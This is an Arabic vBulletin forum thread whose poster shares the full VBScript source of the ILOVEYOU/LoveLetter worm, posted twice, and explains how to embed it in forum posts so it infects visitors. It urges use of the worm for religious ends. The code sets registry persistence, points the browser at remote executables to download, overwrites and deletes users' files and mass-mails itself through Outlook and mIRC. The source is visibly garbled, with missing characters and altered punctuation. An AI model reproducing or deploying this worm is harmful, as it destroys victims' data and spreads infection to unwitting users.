اختر لونك المفضل
مجلس حماية الأجـهـزة من الأخـتـراق>كود فيروس الحب
أولا أرجو أستخدامه لنصر ديننا الحنيف
وبالنسبة لكيفية عمله في منتديات الفي بي تضعه في الموضوع وتحت بند كود بي أتش بي
ولم أضعه تحت هذا البند كيلا تتضررو
هذا هو الكود
[center]rem barok -loveletter(vbe) <i hate go to school>rem by: spyder / ispyder@mail.com / @grammersoft group /
Manila*Philippines
On Error Resume Next
Dim fso*dirsystem*dirwin*dirtemp*eq*ctr*file*vbscopy*d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname*1)
vbscopy=file.ReadAll
main()
Sub main()
On Error Resume Next
Dim wscr*rr
Set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosof t\indows Scripting
Host\ettings\imeout")
If (rr>=1) Then
wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows Scripting
Host\ettings\imeout"*0*"REG_DWORD"
End If
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder
Set dirtemp = fso.GetSpecialFolder
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\SKernel32.vbs")
c.Copy(dirwin&"\in32DLL.vbs")
c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
Sub regruns()
On Error Resume Next
Dim num*downread
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent V ersion\un\SKernel32
"*dirsystem&"\SKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent V ersion\unServices\i
n32DLL"*dirwin&"\in32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\oftware\icrosof t\nternet
Explorer\ownload Directory")
If (downread="") Then
downread="c:\
End If
If (fileexist(dirsystem&"\inFAT32.exe")=1) Then
Randomize
num = Int((4 * Rnd) + 1)
If num = 1 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX
.exe"
End If
End If
If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent V ersion\un\IN-BUGSFI
X"*downread&"\IN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"about:blank"
End If
End Sub
Sub listadriv
On Error Resume Next
Dim d*dc*s
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType=3 Then
folderlist(d.path&"\)
End If
Next
listadriv = s
End Sub
Sub infectfiles(folderspec)
On Error Resume Next
Dim f*f1*fc*ext*ap*mircfname*s*bname*mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext=fso.GetExtensionName(f1.path)
ext=LCase(ext)
s=LCase(f1.Name)
If (ext="vbs") Or (ext="vbe") Then
Set ap=fso.OpenTextFile(f1.path*2*True)
ap.write vbscopy
ap.Close
ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct")
Or (ext="hta") Then
Set ap=fso.OpenTextFile(f1.path*2*True)
ap.write vbscopy
ap.Close
bname=fso.GetBaseName(f1.path)
Set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\&bname&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="jpg") Or (ext="jpeg") Then
Set ap=fso.OpenTextFile(f1.path*2*True)
ap.write vbscopy
ap.Close
Set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="mp3") Or (ext="mp2") Then
Set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.Close
Set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
End If
If (eq<>folderspec) Then
If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or
(s="script.ini") Or (s="mirc.hlp") Then
Set scriptini=fso.CreateTextFile(folderspec&"\cript.in i")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt*
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{
scriptini.WriteLine "n1= /if ( $nick == $me ) {halt }
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\OVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}
scriptini.Close
eq=folderspec
End If
End If
Next
End Sub
Sub folderlist(folderspec)
On Error Resume Next
Dim f*f1*sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
Sub regcreate(regkey*regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey*regvalue
End Sub
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
End Function
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Sub spreadtoemail()
On Error Resume Next
Dim x*a*ctrlists*ctrentries*malead*b*regedit*regv*rega d
Set regedit=CreateObject("WScript.Shell")
Set out=WScript.CreateObject("Outlook.Application")
Set mapi=out.GetNameSpace("MAPI")
For ctrlists=1 To mapi.AddressLists.Count
Set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\ic rosoft\AB\ &a)
If (regv="") Then
regv=1
End If
If (Int(a.AddressEntries.Count)>Int(regv)) Then
For ctrentries=1 To a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\i crosoft\AB \&malead)
If (regad="") Then
Set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead*1*" REG_DWORD"
End If
x=x+1
Next
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a*a.Addres sEntries.C ount
Else
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a*a.Addres sEntries.C ount
End If
Next
Set out=Nothing
Set mapi=Nothing
End Sub
Sub html
On Error Resume Next
Dim lines*n*dta1*dta2*dt1*dt2*dt3*dt4*l1*dt5*dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>******
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"****** NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila* Philippines ?-? March 2000@-@>"&vbcrlf& _
"****** NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD>******
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#*#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#*#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"******** language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){ar wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0*0);window.re sizeTo(wi* hi);}&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"******** LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso*dirsystem*wri*code*code2*code3*code4*aw*regdit "&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder"&vbcrlf& _
"code2=replace(code*chr(91)&chr(45)&chr(91)*chr(39 ))"&vbcrlf & _
"code3=replace(code2*chr(93)&chr(45)&chr(93)*chr(3 4))"&vbcrl f& _
"code4=replace(code3*chr(37)&chr(45)&chr(37)*chr(9 2))"&vbcrl f& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
n^-^MSKernel32@-@*dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1*Chr(35)&Chr(45)&Chr(35)*"'")
dt1=replace(dt1*Chr(64)&Chr(45)&Chr(64)*"""")
dt4=replace(dt1*Chr(63)&Chr(45)&Chr(63)*"/")
dt5=replace(dt4*Chr(94)&Chr(45)&Chr(94)*"\)
dt2=replace(dta2*Chr(35)&Chr(45)&Chr(35)*"'")
dt2=replace(dt2*Chr(64)&Chr(45)&Chr(64)*"""")
dt3=replace(dt2*Chr(63)&Chr(45)&Chr(63)*"/")
dt6=replace(dt3*Chr(94)&Chr(45)&Chr(94)*"\)
Set fso=CreateObject("Scripting.FileSystemObject")
Set c=fso.OpenTextFile(WScript.ScriptFullName*1)
lines=Split(c.ReadAll*vbcrlf)
l1=UBound(lines)
For n=0 To UBound(lines)
lines(n)=replace(lines(n)*"'"*Chr(91)+Chr(45)+Chr( 91))
lines(n)=replace(lines(n)*""""*Chr(93)+Chr(45)+Chr (93))
lines(n)=replace(lines(n)*"*Chr(37)+Chr(45)+Chr(37 ))
If (l1=n) Then
lines(n)=Chr(34)+lines(n)+Chr(34)
Else
lines(n)=Chr(34)+lines(n)+Chr(34)&"&vbcrlf& _"
End If
Next
Set b=fso.CreateTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM")
b.Close
Set d=fso.OpenTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM"*2)
d.write dt5
d.write join(lines*vbcrlf)
d.write vbcrlf
d.write dt6
d.Close
End Sub
أخوكم
أبو خطاب
وبالنسبة لكيفية عمله في منتديات الفي بي تضعه في الموضوع وتحت بند كود بي أتش بي
ولم أضعه تحت هذا البند كيلا تتضررو
هذا هو الكود
[center]rem barok -loveletter(vbe) <i hate go to school>rem by: spyder / ispyder@mail.com / @grammersoft group /
Manila*Philippines
On Error Resume Next
Dim fso*dirsystem*dirwin*dirtemp*eq*ctr*file*vbscopy*d ow
eq=""
ctr=0
Set fso = CreateObject("Scripting.FileSystemObject")
Set file = fso.OpenTextFile(WScript.ScriptFullname*1)
vbscopy=file.ReadAll
main()
Sub main()
On Error Resume Next
Dim wscr*rr
Set wscr=CreateObject("WScript.Shell")
rr=wscr.RegRead("HKEY_CURRENT_USER\oftware\icrosof t\indows Scripting
Host\ettings\imeout")
If (rr>=1) Then
wscr.RegWrite "HKEY_CURRENT_USER\oftware\icrosoft\indows Scripting
Host\ettings\imeout"*0*"REG_DWORD"
End If
Set dirwin = fso.GetSpecialFolder(0)
Set dirsystem = fso.GetSpecialFolder
Set dirtemp = fso.GetSpecialFolder
Set c = fso.GetFile(WScript.ScriptFullName)
c.Copy(dirsystem&"\SKernel32.vbs")
c.Copy(dirwin&"\in32DLL.vbs")
c.Copy(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
regruns()
html()
spreadtoemail()
listadriv()
End Sub
Sub regruns()
On Error Resume Next
Dim num*downread
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent V ersion\un\SKernel32
"*dirsystem&"\SKernel32.vbs"
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent V ersion\unServices\i
n32DLL"*dirwin&"\in32DLL.vbs"
downread=""
downread=regget("HKEY_CURRENT_USER\oftware\icrosof t\nternet
Explorer\ownload Directory")
If (downread="") Then
downread="c:\
End If
If (fileexist(dirsystem&"\inFAT32.exe")=1) Then
Randomize
num = Int((4 * Rnd) + 1)
If num = 1 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj
w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe"
ElseIf num = 2 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe
546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe"
ElseIf num = 3 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm
POhfgER67b3Vbvg/WIN-BUGSFIX.exe"
ElseIf num = 4 Then
regcreate "HKCU\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh
YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237 461234iuy7thjg/WIN-BUGSFIX
.exe"
End If
End If
If (fileexist(downread&"\IN-BUGSFIX.exe")=0) Then
regcreate
"HKEY_LOCAL_MACHINE\oftware\icrosoft\indows\urrent V ersion\un\IN-BUGSFI
X"*downread&"\IN-BUGSFIX.exe"
regcreate "HKEY_CURRENT_USER\oftware\icrosoft\nternet Explorer\ain\tart
Page"*"about:blank"
End If
End Sub
Sub listadriv
On Error Resume Next
Dim d*dc*s
Set dc = fso.Drives
For Each d In dc
If d.DriveType = 2 Or d.DriveType=3 Then
folderlist(d.path&"\)
End If
Next
listadriv = s
End Sub
Sub infectfiles(folderspec)
On Error Resume Next
Dim f*f1*fc*ext*ap*mircfname*s*bname*mp3
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 In fc
ext=fso.GetExtensionName(f1.path)
ext=LCase(ext)
s=LCase(f1.Name)
If (ext="vbs") Or (ext="vbe") Then
Set ap=fso.OpenTextFile(f1.path*2*True)
ap.write vbscopy
ap.Close
ElseIf(ext="js") Or (ext="jse") Or (ext="css") Or (ext="wsh") Or (ext="sct")
Or (ext="hta") Then
Set ap=fso.OpenTextFile(f1.path*2*True)
ap.write vbscopy
ap.Close
bname=fso.GetBaseName(f1.path)
Set cop=fso.GetFile(f1.path)
cop.copy(folderspec&"\&bname&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="jpg") Or (ext="jpeg") Then
Set ap=fso.OpenTextFile(f1.path*2*True)
ap.write vbscopy
ap.Close
Set cop=fso.GetFile(f1.path)
cop.copy(f1.path&".vbs")
fso.DeleteFile(f1.path)
ElseIf(ext="mp3") Or (ext="mp2") Then
Set mp3=fso.CreateTextFile(f1.path&".vbs")
mp3.write vbscopy
mp3.Close
Set att=fso.GetFile(f1.path)
att.attributes=att.attributes+2
End If
If (eq<>folderspec) Then
If (s="mirc32.exe") Or (s="mlink32.exe") Or (s="mirc.ini") Or
(s="script.ini") Or (s="mirc.hlp") Then
Set scriptini=fso.CreateTextFile(folderspec&"\cript.in i")
scriptini.WriteLine "[script]"
scriptini.WriteLine ";mIRC Script"
scriptini.WriteLine "; Please dont edit this script... mIRC will corrupt*
if mIRC will"
scriptini.WriteLine " corrupt... WINDOWS will affect and will not run
correctly. thanks"
scriptini.WriteLine ";"
scriptini.WriteLine ";Khaled Mardam-Bey"
scriptini.WriteLine ";http://www.mirc.com/"
scriptini.WriteLine ";"
scriptini.WriteLine "n0=on 1:JOIN:#:{
scriptini.WriteLine "n1= /if ( $nick == $me ) {halt }
scriptini.WriteLine "n2= /.dcc send $nick
"&dirsystem&"\OVE-LETTER-FOR-YOU.HTM"
scriptini.WriteLine "n3=}
scriptini.Close
eq=folderspec
End If
End If
Next
End Sub
Sub folderlist(folderspec)
On Error Resume Next
Dim f*f1*sf
Set f = fso.GetFolder(folderspec)
Set sf = f.SubFolders
For Each f1 In sf
infectfiles(f1.path)
folderlist(f1.path)
Next
End Sub
Sub regcreate(regkey*regvalue)
Set regedit = CreateObject("WScript.Shell")
regedit.RegWrite regkey*regvalue
End Sub
Function regget(value)
Set regedit = CreateObject("WScript.Shell")
regget=regedit.RegRead(value)
End Function
Function fileexist(filespec)
On Error Resume Next
Dim msg
If (fso.FileExists(filespec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Function folderexist(folderspec)
On Error Resume Next
Dim msg
If (fso.GetFolderExists(folderspec)) Then
msg = 0
Else
msg = 1
End If
fileexist = msg
End Function
Sub spreadtoemail()
On Error Resume Next
Dim x*a*ctrlists*ctrentries*malead*b*regedit*regv*rega d
Set regedit=CreateObject("WScript.Shell")
Set out=WScript.CreateObject("Outlook.Application")
Set mapi=out.GetNameSpace("MAPI")
For ctrlists=1 To mapi.AddressLists.Count
Set a=mapi.AddressLists(ctrlists)
x=1
regv=regedit.RegRead("HKEY_CURRENT_USER\oftware\ic rosoft\AB\ &a)
If (regv="") Then
regv=1
End If
If (Int(a.AddressEntries.Count)>Int(regv)) Then
For ctrentries=1 To a.AddressEntries.Count
malead=a.AddressEntries(x)
regad=""
regad=regedit.RegRead("HKEY_CURRENT_USER\oftware\i crosoft\AB \&malead)
If (regad="") Then
Set male=out.CreateItem(0)
male.Recipients.Add(malead)
male.Subject = "ILOVEYOU"
male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from me."
male.Attachments.Add(dirsystem&"\OVE-LETTER-FOR-YOU.TXT.vbs")
male.Send
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&malead*1*" REG_DWORD"
End If
x=x+1
Next
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a*a.Addres sEntries.C ount
Else
regedit.RegWrite
"HKEY_CURRENT_USER\oftware\icrosoft\AB\&a*a.Addres sEntries.C ount
End If
Next
Set out=Nothing
Set mapi=Nothing
End Sub
Sub html
On Error Resume Next
Dim lines*n*dta1*dta2*dt1*dt2*dt3*dt4*l1*dt5*dt6
dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE>******
NAME=@-@Generator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _
"****** NAME=@-@Author@-@ CONTENT=@-@spyder ?-? ispyder@mail.com ?-?
@GRAMMERSoft Group ?-? Manila* Philippines ?-? March 2000@-@>"&vbcrlf& _
"****** NAME=@-@Description@-@ CONTENT=@-@simple but i think this is
good...@-@>"&vbcrlf& _
"<?-?HEAD>******
ONMOUSEOUT=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#*#-#main#-#)@-@ "&vbcrlf& _
"ONKEYDOWN=@-@window.name=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YOU.HTM#
-#*#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@>"&vbcrlf& _
"<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to read
this HTML file<BR>- Please press #-#YES#-# button to Enable
ActiveX<?-?p>"&vbcrlf& _
"<?-?CENTER><MARQUEE LOOP=@-@infinite@-@
BGCOLOR=@-@yellow@-@>----------z--------------------z----------<?-?MARQUEE>
"&vbcrlf& _
"<?-?BODY><?-?HTML>"&vbcrlf& _
"******** language=@-@JScript@-@>"&vbcrlf& _
"<!--?-??-?"&vbcrlf& _
"if (window.screen){ar wi=screen.availWidth;var
hi=screen.availHeight;window.moveTo(0*0);window.re sizeTo(wi* hi);}&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"&vbcrlf& _
"******** LANGUAGE=@-@VBScript@-@>"&vbcrlf& _
"<!--"&vbcrlf& _
"on error resume next"&vbcrlf& _
"dim fso*dirsystem*wri*code*code2*code3*code4*aw*regdit "&vbcrlf& _
"aw=1"&vbcrlf& _
"code="
dta2="set fso=CreateObject(@-@Scripting.FileSystemObject@-@)"&vbcrlf& _
"set dirsystem=fso.GetSpecialFolder"&vbcrlf& _
"code2=replace(code*chr(91)&chr(45)&chr(91)*chr(39 ))"&vbcrlf & _
"code3=replace(code2*chr(93)&chr(45)&chr(93)*chr(3 4))"&vbcrl f& _
"code4=replace(code3*chr(37)&chr(45)&chr(37)*chr(9 2))"&vbcrl f& _
"set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf& _
"wri.write code4"&vbcrlf& _
"wri.close"&vbcrlf& _
"if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf& _
"if (err.number=424) then"&vbcrlf& _
"aw=0"&vbcrlf& _
"end if"&vbcrlf& _
"if (aw=1) then"&vbcrlf& _
"document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _
"window.close"&vbcrlf& _
"end if"&vbcrlf& _
"end if"&vbcrlf& _
"Set regedit = CreateObject(@-@WScript.Shell@-@)"&vbcrlf& _
"regedit.RegWrite
@-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windows^-^CurrentVersion^-^Ru
n^-^MSKernel32@-@*dirsystem&@-@^-^MSKernel32.vbs@-@"&vbcrlf& _
"?-??-?-->"&vbcrlf& _
"<?-?SCRIPT>"
dt1=replace(dta1*Chr(35)&Chr(45)&Chr(35)*"'")
dt1=replace(dt1*Chr(64)&Chr(45)&Chr(64)*"""")
dt4=replace(dt1*Chr(63)&Chr(45)&Chr(63)*"/")
dt5=replace(dt4*Chr(94)&Chr(45)&Chr(94)*"\)
dt2=replace(dta2*Chr(35)&Chr(45)&Chr(35)*"'")
dt2=replace(dt2*Chr(64)&Chr(45)&Chr(64)*"""")
dt3=replace(dt2*Chr(63)&Chr(45)&Chr(63)*"/")
dt6=replace(dt3*Chr(94)&Chr(45)&Chr(94)*"\)
Set fso=CreateObject("Scripting.FileSystemObject")
Set c=fso.OpenTextFile(WScript.ScriptFullName*1)
lines=Split(c.ReadAll*vbcrlf)
l1=UBound(lines)
For n=0 To UBound(lines)
lines(n)=replace(lines(n)*"'"*Chr(91)+Chr(45)+Chr( 91))
lines(n)=replace(lines(n)*""""*Chr(93)+Chr(45)+Chr (93))
lines(n)=replace(lines(n)*"*Chr(37)+Chr(45)+Chr(37 ))
If (l1=n) Then
lines(n)=Chr(34)+lines(n)+Chr(34)
Else
lines(n)=Chr(34)+lines(n)+Chr(34)&"&vbcrlf& _"
End If
Next
Set b=fso.CreateTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM")
b.Close
Set d=fso.OpenTextFile(dirsystem+"\OVE-LETTER-FOR-YOU.HTM"*2)
d.write dt5
d.write join(lines*vbcrlf)
d.write vbcrlf
d.write dt6
d.Close
End Sub
أخوكم
أبو خطاب
الأخ الكريم أبو خطاب أرجو توضيح الموضوع أكثر والشرح عن هذا الفيروس
ومشكور للمشاركة
ومشكور للمشاركة
أهلا أخوي
بوضحلك أكثر
يعني لما تضع موضوع بمنتديات الفي بي
يكون لديك صندوق في الأعلى تستطيع من خلاله إضافة مقاطع صوت
وبين هذه الخيارات خيار كود بي أتش بي
فتكتب كود الفيروس وتضلله ثم تضغط على أيقونة كود بي أتش بي من الصندوق
بوضحلك أكثر
يعني لما تضع موضوع بمنتديات الفي بي
يكون لديك صندوق في الأعلى تستطيع من خلاله إضافة مقاطع صوت
وبين هذه الخيارات خيار كود بي أتش بي
فتكتب كود الفيروس وتضلله ثم تضغط على أيقونة كود بي أتش بي من الصندوق
مشكور أخي الكريم ابو خطاب للمتابعة والرد
لا شكر على واجب
تسلم ايدك اخوي ابو حطاب
مشكور أبوخطاب
جعله ربي في ميزان حسناتك
جعله ربي في ميزان حسناتك
السلام عليكم
ابو خطااب الله يعطيك الف عافيه
دائما مُميز بمواضيعك
لاعدمنااااااااك يالغلا
لكن ودي افهم لو سمحت هذا الكود وش يضر بالمنتدى لو استخدمته يعني يخرب المنتدى كُله ولابس القسم الي هو فيه ولاكيف
لاهنت يالغاااالي
ولاعدمنااااااااااك
ابو خطااب الله يعطيك الف عافيه
دائما مُميز بمواضيعك
لاعدمنااااااااك يالغلا
لكن ودي افهم لو سمحت هذا الكود وش يضر بالمنتدى لو استخدمته يعني يخرب المنتدى كُله ولابس القسم الي هو فيه ولاكيف
لاهنت يالغاااالي
ولاعدمنااااااااااك
تسلم ياخوي
أنا بقلك هاذ وش يسوي
هاذ لو أنا مفعله كان الحين أنت ماقدرت تكتب رد لأن كمبيوترك كان بيتفرمت ويخرب لأن هاذ فيروس ينزل عندك بالكمبيوتر بمجرد ما تفتح الموضوع
أخوكم
أبو خطاب
أنا بقلك هاذ وش يسوي
هاذ لو أنا مفعله كان الحين أنت ماقدرت تكتب رد لأن كمبيوترك كان بيتفرمت ويخرب لأن هاذ فيروس ينزل عندك بالكمبيوتر بمجرد ما تفتح الموضوع
أخوكم
أبو خطاب
Powered by vBulletin® Version 3.7.3
.Copyright ©2000 - 2010, Jelsoft Enterprises Lt
